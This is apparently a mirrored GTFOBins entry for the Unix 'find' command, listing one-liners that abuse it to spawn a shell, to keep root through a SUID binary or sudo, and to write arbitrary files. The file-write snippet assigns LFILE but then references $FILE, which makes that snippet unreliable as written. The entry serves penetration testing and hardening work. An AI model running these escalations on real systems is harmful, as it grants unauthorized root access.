mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-28 07:49:32 +01:00
e8e9b2bc4b
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
15 lines
358 B
Markdown
15 lines
358 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: find . -exec /bin/sh \; -quit
|
|
suid:
|
|
- code: ./find . -exec /bin/sh -p \; -quit
|
|
sudo:
|
|
- code: sudo find . -exec /bin/sh \; -quit
|
|
file-write:
|
|
- description: DATA is a format string, it supports some escape sequences.
|
|
code: |
|
|
LFILE=file_to_write
|
|
find / -fprintf "$FILE" DATA -quit
|
|
---
|